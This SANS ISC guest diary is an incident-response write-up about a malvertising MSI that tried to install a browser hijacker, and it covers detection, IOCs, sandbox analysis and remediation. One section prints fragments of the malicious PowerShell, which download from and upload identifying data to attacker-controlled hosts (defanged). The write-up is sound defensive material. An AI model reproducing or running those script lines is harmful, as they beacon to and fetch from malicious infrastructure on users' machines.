[This is a Guest Diary by Nathaniel Jakusz, an ISC intern as part of the SANS.edu BACS program]

Although Endpoint Detection and Response (EDR) tools are the gold standard in endpoint security, they are not a fire and forget tool. Even the highest Gartner rated endpoint solution will not provide the desired level of security. Significant effort is needed to baseline, tune, and turn on additional rules to ensure false negatives and false positives do not hamper security efforts. EDR products are intentionally distributed by the vendor to not negatively impact business operations. Customers would likely stop a companywide installation and go with another vendor if their new EDR product frequently quarantined legitimate activity and cost the company money. 

Threat hunters can baseline activity and hunt for deviations, write rules designed to detect advanced adversarial activity (such as living off the land (LOL), and maximize the efficacy of the company’s EDR. In the below scenario, our threat hunters detected an attempt to trick a user into installing a browser hijacker via an .msi file and fooled the EDR product into believing the PowerShell scripts and subsequent activity was legitimate. 

Any maturing Security Operations (SecOps) team without a threat hunting team or service would benefit greatly from reading this use case and applying it to their own environment. 

On 2024/01/30, a member of our threat hunting team reached out to myself serving as the senior SecOps analyst regarding a potential threat detected in our environment. They were initially investigating a group called Wazawaka after we detected numerous scanning activities from IP addresses associated with this threat group. After studying Wazawaka’s activities, the threat hunting team created numerous SentinelOne queries to detect similar activity. One such query detected four PowerShell scripts executing Net.WebClient to invoke web requests to a suspicious looking domain. Although the threat hunting team concluded that this activity was not a result of Wazawaka, they did feel the activity deserved further investigation.  

Query Activity:
$domain = "g8v1en[.]com"
$validProductIDs = @("blooket", "template", "pdf", "manual", "map", "form", "recipe")

$flowhelperid = Get-Content -Path "$env:APPDATA/BBWC/intermediate.dat"
$url = hxxps://$domain/api/gmsipt?fhnid=$flowhelperid
$web = New-Object System.Net.WebClient
$response = $web.DownloadString($url)
$json = ConvertFrom-Json $
$flowhelperid = Get-Content -Path "$env:APPDATA/BBWC/intermediate.dat"
$web = New-Object Net.WebClient
$dataObject = @{message="InstallStart";level="INFO";version="$version";flowhelperid="$flowhelperid"}
$data = ConvertTo-Json20 $dataObject
$web.UploadString(hxxp://d2mle41mlnr9h7[.]cloudfront[.]net, $data)

Paths:
C:\Users\[redacted]\AppData\Local\Temp\pss3689.ps1
C:\Users\[redacted]\AppData\Local\Temp\scr3687.ps1
C:\Users\[redacted]\AppData\Local\Temp\pss3B32.ps1
C:\Users\[redacted]\AppData\Local\Temp\scr3B30.ps1

URLs:
g8v1en[.]com 
d2mle41mlnr9h7[.]cloudfront[.]net 

I was able to work backwards in SentinelOne’s Singularity Data Lake (previously referred to as Deep Visibility) containing all endpoint data over the past 30 days using their proprietary query language. 

The source of the activity was msiexec.exe running an MSI file downloaded from the internet. Working further backwards I found the file PrintRecipes_46069404.msi which was downloaded from “hxxps://dl[.]print-recipes[.]com/ext/getsecurefile/46069404?appid=&cid=I8AZ0CDgUMExJklCJ0&url=&exeid=”. After further investigation and interviewing the user, it is highly likely this activity originated from a malvertising URL in an attempt to find recipes for zucchini bread. 

MSI Hash:
e1d6ea166a0a09b4af4f697a0a88ff8b638f7f1738b0a5fa14f43bdf8e85739e
VT: https://www.virustotal.com/gui/file/e1d6ea166a0a09b4af4f697a0a88ff8b638f7f1738b0a5fa14f43bdf8e85739e

URL Download:
hxxps://dl[.]print-recipes[.]com/ext/getsecurefile/46069404?appid=&cid=I8AZ0CDgUMExJklCJ0&url=&exeid=
VT: https://www.virustotal.com/gui/domain/dl.print-recipes.com

While the user clicked through the prompts after extracting the MSI file, numerous .tmp files were extracted with file header mismatch warnings. Examining the file headers showed an “MZ” indicating the .tmp files were portable executables. 

While analyzing the activity in EDR, we also ingested the MSI file in Joe’s Sandbox and detonated the file on a standalone device. Both instances attempted to download the Opera browser with extensions and settings designed to operate as a browser hijacker. 

Something to note is a lot of these indicators have zero malicious indicators. The download URL previously mentioned has no malicious vendor detections. After searching the hash of the MSI file, it also has zero malicious vendor detections but it does trigger numerous Yara rules that indicate it is suspicious. The URL that was first detected as part of the Net.WebClient has two malicious vendor detections with a serving IP address of 52[.]84[.]125[.]31 which belongs to Amazon. Of note, the malicious URL g8v1en[.]com looks to have served dozens of different MSI files with similar naming conventions looking to trick users like PrintRecipes_45518959.msi, LaunchBrowserInstaller-v5.2.158.0.msi, FreeManuals_45087997.msi, and even AngryBirds_45788447.msi as far back as 2023-08-21. The URL was first seen 2023-07-07. In the relations tab of Virus Total, it shows this domain resolving to numerous IP addresses historically and serving over 110 different MSI files.

Luckily, the application did not have the required permissions to fully download on the corporate workstation. We analyzed activity from the “point of bang” all the way to the end of the malicious scripts and connections and determined that the attack was not successful and there were no additional or secondary attempts to install or infect the device. Out of an abundance of caution we reimaged the device, searched for the IOCs across the network, revoked sessions and changed the password of the affected user. 

The SecOps team conducted an After-Action Review (AAR) and found both strengths and weaknesses. The communication and coordination between the threat hunting team and the SecOps team from the start to finish of the investigation was strong. The threat hunter that identified the activity quickly alerted myself and also briefed other senior managers on his findings and made recommendations on where to go from there. Some weaknesses included investigation inefficiencies due to a lack of documented processes as well as lack of logging. Numerous positives came from this incident including a change request to implement Group Policy Objects (GPO) to block all MSI installs for non-approved software, additional custom detections, more documented response processes, and lastly PowerShell transcript logging. PowerShell transcript logging is not enabled by default, but is relatively small log in the form of a text file that shows both the input and output. This can let analysts easily determine what happened, if it was successful, and if it was encoded, it provides the decoded command.  

To reiterate, none of this activity would have been detected without a threat hunting team intertwined with the SecOps team. Relying on endpoint protection alone is not sufficient and is similar to buying a house and not putting locks on the doors or windows; it will provide some protection, but will be trivial for even mediocre threat actors to get in.  

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu